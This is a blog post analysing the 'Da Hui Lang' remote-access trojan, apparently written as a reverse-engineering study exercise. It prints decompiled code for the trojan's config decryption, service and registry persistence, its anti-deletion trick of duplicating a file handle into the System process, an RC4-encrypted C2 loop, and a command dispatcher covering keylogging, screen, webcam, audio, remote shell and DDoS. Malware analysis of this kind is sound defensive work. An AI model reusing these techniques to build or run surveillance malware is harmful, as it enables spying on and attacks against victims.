大灰狼远控分析

 主要是C++反汇编与逆向分析的几个木马分析流程,自己做一做。大灰狼远控木马是一个比较常见的远控工具。

初步分析

 有两个文件:Consys21SB360,发现是VC6写的,其中前者是dll,后者是exe。查看Winmain,发现一直调用sleep函数,这是病毒干扰杀毒软件查杀的方式,如下所示:

image-20230824093238543

启动过程分析

 首先对数据进行解密。

image-20230824093511262

 其中,EncryptInfo的函数实现如下:

image-20230824093623469

 可以发现,将key赋值为Monther360,并调用rc4解密。解密后,可以得到:

1
2
3
4
5
g_AppInfo       :  SuperProServer
DisplayName : SuperProServer
aSentinelSuperp : Sentinel SuperPro Server
g_ServerInfo : 127.0.0.1
...

 接着分析:

image-20230824101842644

 正常状态是跳转到loc_406D0A,如下所示:

image-20230824103058624

 上面这段代码是处理路径用的。接着,运行:

image-20230824103230385

image-20230824103256207

image-20230824103319891

 后续反汇编不再展示,直接上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
int v4; // ebx
DWORD CurrentThreadId; // eax
CHAR String[1021]; // [esp+Ch] [ebp-754h] BYREF
__int16 v8; // [esp+409h] [ebp-357h]
char v9; // [esp+40Bh] [ebp-355h]
CHAR Filename[257]; // [esp+40Ch] [ebp-354h] BYREF
__int16 v11; // [esp+50Dh] [ebp-253h]
char v12; // [esp+50Fh] [ebp-251h]
char Dest[257]; // [esp+510h] [ebp-250h] BYREF
__int16 v14; // [esp+611h] [ebp-14Fh]
char v15; // [esp+613h] [ebp-14Dh]
CHAR Dst[257]; // [esp+614h] [ebp-14Ch] BYREF
__int16 v17; // [esp+715h] [ebp-4Bh]
char v18; // [esp+717h] [ebp-49h]
struct tagMSG Msg; // [esp+718h] [ebp-48h] BYREF
char v20[8]; // [esp+734h] [ebp-2Ch] BYREF
CHAR Operation[8]; // [esp+73Ch] [ebp-24h] BYREF
__int128 ServiceStartTable; // [esp+744h] [ebp-1Ch] BYREF
char v23[4]; // [esp+754h] [ebp-Ch] BYREF
char Format[8]; // [esp+758h] [ebp-8h] BYREF

v4 = 0;
CurrentThreadId = GetCurrentThreadId();
PostThreadMessageA(CurrentThreadId, 0, 0, 0);
GetInputState();
GetMessageA(&Msg, 0, 0, 0);
memset(String, 0, sizeof(String));
v8 = 0;
v9 = 0;
EncryptInfo(g_AppInfo, 852);
EncryptInfo((void *)g_ServerInfo, 410);
if ( create_event(1) ) // 创建互斥体,防止病毒重复运行
{
if ( dword_40955C ) // 根据配置信息决定是否删除病毒自身的文件
delete_me(); // 退出程序
LABEL_4:
return 0;
}
memset(Dst, 0, sizeof(Dst));
v17 = 0;
v18 = 0;
ExpandEnvironmentStringsA("%SystemRoot%\\", Dst, 0x104u);
strcpy("%SystemRoot%\\", Dst); // 将"%SystemRoot%\\"替换为"C:WINDOWS\"
if ( byte_4093FB[strlen("%SystemRoot%\\")] == '\\' )
byte_4093FB[strlen("%SystemRoot%\\")] = 0; // 将末尾的反斜杠去掉
strcpy(Format, "%s\\%s");
sprintf(::Dest, Format, "%SystemRoot%\\", aTermsExe); // Dest="C:WINDOWS\Terms.exe"
strcpy(&g_key, &unk_4090E0); // g_key="1593044206"
if ( dword_409568 ) // 根据配置信息决定是否关闭进程
KillProcess();
if ( byte_409560 ) // 根据配置信息决定是否重新安装
{
memset(Filename, 0, sizeof(Filename));
v11 = 0;
v12 = 0;
GetModuleFileNameA(0, Filename, 0x104u); // 获取程序路径
if ( strcmp(Filename, ::Dest) ) // 判断是否为Dest
{
*(_DWORD *)v23 = 0;
memset(Dest, 0, sizeof(Dest));
v14 = 0;
strcpy(v20, "%s\\%s");
v15 = 0;
sprintf(Dest, v20, "%SystemRoot%\\", aTermsExe);
sub_403460((int)g_AppInfo, &::String);
sub_4063F0(g_AppInfo); // 写入服务版本安装时间信息到注册表
InstallService((int)Dest, g_AppInfo, "SuperProServer", aSentinelSuperp); // 安装病毒服务
while ( 1 ) // 循环检查进程是否运行
{
if ( sub_407660(aTermsExe) )
break;
if ( ++*(_DWORD *)v23 >= 0xBB8u )
{
*(_DWORD *)v23 = 0;
strcpy(Operation, "open");
ShellExecuteA(0, Operation, Dest, 0, 0, 5);
if ( (unsigned int)++v4 >= 3 )
goto LABEL_4;
}
}
if ( byte_409560 == 1 ) // 写入注册表
WriteReg((int)g_AppInfo, (BYTE *)Dest);
if ( dword_40955C )
delete_me();
goto LABEL_4;
}
word_409C10 = 3;
if ( byte_409560 == 2 ) // 以服务方式启动病毒
{
LODWORD(ServiceStartTable) = g_AppInfo;
DWORD1(ServiceStartTable) = sub_406B40;
*((_QWORD *)&ServiceStartTable + 1) = 0i64;
word_409C10 = 1;
StartServiceCtrlDispatcherA((const SERVICE_TABLE_ENTRYA *)&ServiceStartTable);
StartServiceCtrlDispatcherA((const SERVICE_TABLE_ENTRYA *)&ServiceStartTable);
word_409C10 = 2;
}
run_main();
return 0;
}
else
{
sprintf(g_AppInfo, "%s", g_AppInfo);
strcpy((char *)&ServiceStartTable, "ConnectGroup");
sub_404D00((int)g_AppInfo, (LPCSTR)&ServiceStartTable, (int)String, 1024);
if ( !lstrlenA(String) )
{
sub_403460((int)g_AppInfo, &::String);
sub_4063F0(g_AppInfo); // 写入服务版本安装时间信息到注册表
}
word_409C10 = 0;
socket_main();
return 0;
}
}

 再来看run_main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int run_main()
{
if ( dword_409564 ) // 根据配置信息判断是否独占打开文件并运行
{
occupy_file(Dest); // 调用函数独占目标文件
}
return socket_main(); // 调用网络通信的主函数
}

BOOL __cdecl occupy_file(LPCSTR lpFileName)
{
HANDLE v1; // edi
HANDLE FileA; // ebx
HANDLE CurrentProcess; // eax
BOOL v5; // ebx
HANDLE TargetHandle; // [esp+Ch] [ebp-4h] BYREF

sub_406170();
v1 = OpenProcess(0x40u, 0, 4u);
if ( !v1 )
return 0;
FileA = CreateFileA(lpFileName, 0x80000000, 0, 0, 3u, 0x80u, 0);
if ( FileA == (HANDLE)-1 )
{
CloseHandle(v1);
return 0;
}
else
{
CurrentProcess = GetCurrentProcess(); // 获取当前进程
v5 = DuplicateHandle(CurrentProcess, FileA, v1, &TargetHandle, 0, 0, 3u);
CloseHandle(v1);
return v5;
}
}

 总结一下,上述代码首先根据解密后配置的信息决定病毒的启动方式:直接启动、通过服务启动、修改注册表开机启动,之后读取与保存注册表信息,进入run_main。在run_main中,根据配置信息决定是否以独占方式运行,从而使得病毒无法被删除。独占方式原理如下:

(1)通过AdjustTokenPrivileges提权。

(2)通过OpenProcess打开system进程。

(3)通过CreateFile打开独占大文件句柄。

(4)通过DuplicateHandle将文件句柄复制到system进程中。

 之后,运行socket_main函数,与服务器进行通信。如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
int socket_main()
{
int result; // eax
int v1; // ebp
HANDLE v2; // edi
DWORD TickCount; // edi
DWORD v4; // eax
int i; // edi
HANDLE v6; // edi
DWORD v7; // ebp
char v8; // [esp+Bh] [ebp-A039h]
int v9; // [esp+Ch] [ebp-A038h]
int v10; // [esp+10h] [ebp-A034h]
LPCSTR v11[3]; // [esp+14h] [ebp-A030h] BYREF
int v12[46]; // [esp+20h] [ebp-A024h] BYREF
CHAR v13[40800]; // [esp+D8h] [ebp-9F6Ch] BYREF
int v14; // [esp+A040h] [ebp-4h]

result = create_event(0);
if ( !result )
{
v10 = 0;
v9 = 0;
memset(v11, 0, sizeof(v11));
dword_409C24[0] = (int)g_ServerInfo;
lpString = (LPCSTR)&unk_4090AA;
*(_DWORD *)&dword_409C14 = (unsigned __int16)dword_4090DC;
dword_409C18 = HIWORD(dword_4090DC);
if ( !lstrlenA(g_ServerInfo) )
{
v9 = 1;
dword_409C30 = 1;
}
if ( !lstrlenA(lpString) )
{
v9 = 1;
dword_409C30 = 0;
}
init_socket(v12);
v14 = 0;
v8 = 0;
while ( 1 )
{
while ( 1 )
{
if ( v8 )
{
v1 = 0;
while ( 1 )
{
v2 = OpenEventA(0x1F0003u, 0, byte_409BDC);
if ( v2 )
break;
if ( ++v1 >= 200 )
goto LABEL_13;
}
sub_402010(v12);
CloseHandle(v2);
}
LABEL_13:
TickCount = GetTickCount();
if ( dword_409C30 )
{
if ( dword_409C30 == 1 )
{
dword_409C20 = 1;
v11[0] = (LPCSTR)dword_409C24[0];
}
}
else
{
dword_409C20 = dword_409C30;
v11[0] = (LPCSTR)dword_409C24[0];
}
if ( connect_server(v12, (char *)v11[dword_409C30], *((_DWORD *)&dword_409C14 + dword_409C30)) )
break;
if ( v10 != 1 && !v9 && (unsigned int)++dword_409C30 >= 2 )
dword_409C30 = 0;
v10 = 0;
v8 = 2;
}
v4 = GetTickCount();
sub_405040(g_AppInfo, (int)v12, v4 - TickCount, (int)&unk_4091E0);
sub_4034C0(
v13,
(int)v12,
g_AppInfo,
dword_409ACC,
byte_409BDC,
v11[dword_409C30],
*((_DWORD *)&dword_409C14 + dword_409C30));
LOBYTE(v14) = 1;
sub_402290(v13);
for ( i = 0; i < 10; ++i )
{
if ( (unsigned __int8)sub_403960(v13) )
break;
}
if ( (unsigned __int8)sub_403960(v13) )
break;
if ( !v9 )
{
if ( (unsigned int)++dword_409C30 >= 2 )
dword_409C30 = 0;
v10 = 1;
}
LABEL_31:
LOBYTE(v14) = 0;
sub_403570(v13);
}
GetTickCount();
while ( 1 )
{
v6 = OpenEventA(0x1F0003u, 0, byte_409BDC);
v7 = WaitForSingleObject((HANDLE)v12[43], 0x64u);
if ( v6 )
break;
if ( !v7 )
{
goto LABEL_31;
}
}
sub_402010(v12);
CloseHandle(v6);
LOBYTE(v14) = 0;
sub_403570(v13);
v14 = -1;
return std::ios_base::~ios_base((std::ios_base *)v12);
}
return result;
}

 可以看到,病毒初始化了socket,并在connect_server函数中,查询DNS服务器,根据域名转换地址,并接收远端发来的数据。

通信协议分析

 在connect_server中,有线程回调函数recv_proc函数,跟踪一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
signed int __stdcall recv_proc(SOCKET *a1)
{
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // eax
void *v2; // esp
int v3; // eax
int v4; // esi
const void *v5; // eax
unsigned int v6; // eax
void *v7; // esi
const void *v8; // eax
size_t v10; // [esp-14h] [ebp-237Ch]
unsigned int size; // [esp+0h] [ebp-2368h] BYREF
char v12[40]; // [esp+4h] [ebp-2364h] BYREF
char buff_obj[40]; // [esp+2Ch] [ebp-233Ch] BYREF
char sbox[256]; // [esp+54h] [ebp-2314h] BYREF
int v15[65]; // [esp+154h] [ebp-2214h] BYREF
fd_set readfds; // [esp+258h] [ebp-2110h] BYREF
char buf[8192]; // [esp+35Ch] [ebp-200Ch] BYREF
struct _EXCEPTION_REGISTRATION_RECORD *v18; // [esp+235Ch] [ebp-Ch]
int (*v19)(); // [esp+2360h] [ebp-8h]
int v20; // [esp+2364h] [ebp-4h]

v20 = -1;
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
v19 = loc_407E06;
v18 = ExceptionList;
v2 = alloca(9052);
sub_401000(buff_obj);
v20 = 0;
sub_401000(v12);
LOBYTE(v20) = 1;
v15[0] = 1;
v15[1] = a1[42];
if ( (unsigned __int8)sub_401E30(a1) )
{
while ( 1 )
{
qmemcpy(&readfds, v15, sizeof(readfds));
v3 = select(0, &readfds, 0, 0, 0);
if ( v3 == -1 )
break;
if ( v3 > 0 )
{
memset(buf, 0, sizeof(buf));
v4 = recv(a1[42], buf, 0x2000, 0);
if ( v4 <= 0 )
{
break;
}
buff_save((int)v12, buf, v4);
memcpy(sbox, &g_sbox, sizeof(sbox));
if ( v4 < 9 )
rc4_cryp((unsigned int)sbox, (int)buf, v4);
else
rc4_cryp((unsigned int)sbox, (int)buf, 9u);
buff_save((int)buff_obj, buf, v4);
size = 0;
v5 = (const void *)buff_get(5);
memmove(&size, v5, 4u);
if ( !memcmp((const void *)buff_get(0), &unk_409594, 5u) )
{
Sleep(0);
if ( size )
{
v6 = buff_get_size(v12);
if ( v6 >= size )
{
v7 = operator new(size);
v10 = size;
v8 = (const void *)buff_get(0);
memmove(v7, v8, v10);
buff_clean(buff_obj);
buff_clean(v12);
memcpy(sbox, &g_sbox, sizeof(sbox));
rc4_cryp((unsigned int)sbox, (int)v7, size);
parse_data(v7, size);
operator delete(v7);
}
}
}
else
{
buff_clean(buff_obj);
buff_clean(v12);
}
}
if ( !(unsigned __int8)sub_401E30(a1) )
goto LABEL_17;
}
sub_402010(a1);
}
LABEL_17:
LOBYTE(v20) = 0;
sub_401050(v12);
v20 = -1;
sub_401050(buff_obj);
return -1;
}

 不难发现,所有的接收数据都使用RC4加密,解密后用parse_data进行分割。在parse_data中,使用虚函数parse_command进行进一步处理。通过分析,协议格式为:5字节头部标志,4字节原始数据大小,4字节压缩后数据大小,1字节命令,变长数据,4字节压缩标志。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
void __thiscall parse_command(int this, const CHAR *a2, int a3)
{
int threaad; // eax
int v5; // eax

dword_4099C0 = *(_DWORD *)(*(_DWORD *)(this + 4) + 168);
switch ( *a2 )
{
case 0:
*(_BYTE *)(this + 40796) = 1;
return;
case 1:
threaad = create_threaad(0, 0, (int)DllFile, (int)(a2 + 1), 0, 0, 0);
goto LABEL_21;
case 2:
v5 = create_threaad(0, 0, (int)DllScreen, (int)(a2 + 1), 0, 0, 1);
goto LABEL_5;
case 3:
threaad = create_threaad(0, 0, (int)DllVideo, (int)(a2 + 1), 0, 0, 0);
goto LABEL_21;
case 4:
v5 = create_threaad(0, 0, (int)DllKeybo, (int)(a2 + 1), 0, 0, 0);
goto LABEL_5;
case 5:
v5 = create_threaad(0, 0, (int)DllAudio, (int)(a2 + 1), 0, 0, 0);
goto LABEL_5;
case 6:
threaad = create_threaad(0, 0, (int)DllSyste, (int)(a2 + 1), 0, 0, 0);
goto LABEL_21;
case 7:
threaad = create_threaad(0, 0, (int)DllShell, (int)(a2 + 1), 0, 0, 1);
goto LABEL_21;
case 8:
sub_403AD0(*((unsigned __int8 *)a2 + 1));
return;
case 9:
sub_403950();
case 10:
*(_DWORD *)(this + 4 * (*(_DWORD *)(this + 40788))++ + 788) = create_threaad(
0,
0,
(int)sub_403180,
(int)(a2 + 1),
0,
0,
1);
return;
case 11:
threaad = create_threaad(0, 0, (int)DllOpenURLHIDE, (int)(a2 + 1), 0, 0, 1);
goto LABEL_21;
case 12:
*(_DWORD *)(this + 4 * (*(_DWORD *)(this + 40788))++ + 788) = create_threaad(
0,
0,
(int)DllOpenURLSHOW,
(int)(a2 + 1),
0,
0,
1);
return;
case 13:
sub_403420(this + 276, a2 + 1);
return;
case 15:
sub_403460(this + 276, a2 + 1);
return;
case 16:
sub_403970(a2 + 1, a3 - 2, 0);
return;
case 17:
sub_403970(a2 + 1, a3 - 2, 1);
return;
case 18:
sub_403970(a2 + 1, a3 - 2, 2);
return;
case 19:
threaad = create_threaad(0, 0, (int)DllMsgBox, (int)(a2 + 1), 0, 0, 1);
goto LABEL_21;
case 20:
v5 = create_threaad(0, 0, (int)sub_403150, (int)(a2 + 1), 0, 0, 0);
goto LABEL_5;
case 21:
v5 = create_threaad(0, 0, (int)DllSerSt, (int)(a2 + 1), 0, 0, 1);
goto LABEL_5;
case 22:
threaad = create_threaad(0, 0, (int)DllSerMa, (int)(a2 + 1), 0, 0, 0);
goto LABEL_21;
case 23:
v5 = create_threaad(0, 0, (int)DllReg, (int)(a2 + 1), 0, 0, 0);
goto LABEL_5;
case 24:
threaad = create_threaad(0, 0, (int)DllDdosOpen, (int)(a2 + 1), 0, 0, 1);
goto LABEL_21;
case 25:
v5 = create_threaad(0, 0, (int)DllDdosStop, (int)(a2 + 1), 0, 0, 1);
LABEL_5:
*(_DWORD *)(this + 4 * (*(_DWORD *)(this + 40788))++ + 788) = v5;
break;
case 26:
threaad = create_threaad(0, 0, (int)DllProxyOpen, (int)(a2 + 1), 0, 0, 1);
LABEL_21:
*(_DWORD *)(this + 4 * (*(_DWORD *)(this + 40788))++ + 788) = threaad;
break;
case 28:
DllSortProcess((int)(a2 + 1));
sub_4035D0((_DWORD *)this, dword_4099C4);
break;
case 29:
DllSortWindow((int)(a2 + 1));
sub_4035D0((_DWORD *)this, dword_4099C4);
break;
default:
return;
}
}

 通过parse_command,可以看到此木马包括多种功能,包括屏幕查看、摄像头查看、语音监控、卸载等。

远控功能分析

 在所有功能中(dllFiledllShelldllAudio等),都运行了共同的函数load_run_control。经过分析,该病毒为了隐秘的运行插件的核心代码,会先从远程服务器下载插件动态库。之后动态申请内存,模拟PE装载流程(未使用LoadLibrary,而是自己写的load_pe),将恶意代码加载入内存。最后,通过自己模拟的GetProcAddress(叫做get_proc_adddres),调用动态库的导出函数。动态库的文件格式做了加密,并修改了PE文件的前两个字节,不同的变种病毒会采用不同的加密方式。

 将库下载并分析,其中语音监控如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl DllAudio(int a1, char *name, u_short hostshort, const char *a4)
{
int Src[46]; // [esp+0h] [ebp-1D0h] BYREF
char Parameter[280]; // [esp+B8h] [ebp-118h] BYREF

if ( !waveInGetNumDevs() )
return -1;
strcpy(g_param, a4);
create_event((char *)Src);
if ( connect_server(Src, name, hostshort) )
{
audio_proc(Parameter, (int)Src);
wait_end((HANDLE *)Src);
std::ios_base::~ios_base((std::ios_base *)Parameter);
wait_and_free(Src);
return 0;
}
else
{
wait_and_free(Src);
return -1;
}
}

 其余的攻击实现,可以看书P549左右,在此不再多说。

留言

© 2024 wd-z711

⬆︎TOP